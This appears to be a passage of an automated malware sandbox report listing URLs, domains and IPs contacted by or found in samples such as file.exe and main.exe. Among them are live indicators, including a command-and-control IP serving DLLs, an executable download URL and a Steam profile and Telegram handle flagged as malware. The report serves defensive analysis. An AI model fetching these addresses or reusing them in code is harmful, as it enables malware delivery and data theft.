https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0	0%	Avira URL Cloud	safe
https://i2p.ghativega.in/	0%	Avira URL Cloud	safe
https://www2.mk16.de/	0%	Avira URL Cloud	safe
https://sketchfab.com	0%	Avira URL Cloud	safe
http://reg.i2p/hosts.txt	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://5.75.212.60/H	100%	Avira URL Cloud	malware
https://store.steampowered.com/privacy_agreement/	0%	Avira URL Cloud	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	23.192.247.89	true	true	0%, Virustotal, Browse	unknown
arpdabl.zapto.org	77.91.101.71	true	false	12%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://5.75.212.60/sqls.dll	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199747278259	true	Avira URL Cloud: malware	unknown
http://198.46.178.145/7847438767.exe	false	Avira URL Cloud: safe	unknown
https://5.75.212.60/softokn3.dll	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://5.75.212.60/vcruntime140.dll;	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://player.vimeo.com	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://i2pseed.creativecowpat.net:8443/	BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/?subsection=broadcasts	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://reseed.memcpy.io/	BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/subscriber_agreement/	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.gstatic.cn/recaptcha/	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://reg.i2p/hosts.txtvp/p_lib.c	main.exe, 00000017.00000002.3441085501.000001E399027000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.46.178.145/7847438767.exenderbird	file.exe, 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269115043.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://arpdabl.zaptoJKFHJ	file.exe, 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.youtube.com	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://reg.i2p/hosts.txtcc	main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199747278259/badges	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://5.75.212.60/0	file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://s.ytimg.com;	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.212.60//	file.exe, 00000000.00000003.2395488232.000000001B541000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2373328753.000000001B536000.00000004.00000020.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://banana.incognet.io/	BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/privac	file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://5.75.212.60/#	file.exe, 00000000.00000003.2373328753.000000001B536000.00000004.00000020.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://steam.tv/	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt	main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr, KXEmxT2p.23.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=3eYWCMu_	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269115043.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=54OKIvHlOQzF&l=e	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://5.75.212.60/;	file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://reseed-fr.i2pd.xyz/	BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	true	Avira URL Cloud: safe	unknown
https://5.75.212.60/A	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mozilla.org0/	file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395376073.000000001B579000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://t.me/armad2a	file.exe, file.exe, 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://5.75.212.60/4	file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://5.75.212.60/5	file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://5.75.212.60/2	file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://i2p.novg.net/	BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	true	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2722820114.000000001B55F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.212.60/6	file.exe, 00000000.00000003.2361797117.000000001B53B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://5.75.212.60/softokn3.dllnXq	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/points/shop/	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0	file.exe, 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i2p.ghativega.in/	BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	true	Avira URL Cloud: safe	unknown
https://www2.mk16.de/	BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	true	Avira URL Cloud: safe	unknown
http://reg.i2p/hosts.txt	main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr, KXEmxT2p.23.dr	false	Avira URL Cloud: safe	unknown
https://sketchfab.com	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://5.75.212.60/H	file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://reg.i2p/hosts.txt7t	main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://identiguy.i2p/hosts.txt	BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr	false	Avira URL Cloud: safe	unknown
https://5.75.212.60/EGIDHDHIDG	file.exe, 00000000.00000003.2373150785.000000001B560000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2373854371.000000001B562000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://reseed.diva.exchange/	BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	true	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://checkout.steampowered.com/	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://arpdabl.zapto.org	file.exe, 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://i2pd.readthedocs.io/en/latest/user-guide/configuration/	BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.212.60art/form-data;	file.exe, 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.212.60/e	file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2767835795.0000000019760000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768175135.000000001B55F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2722820114.000000001B55F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
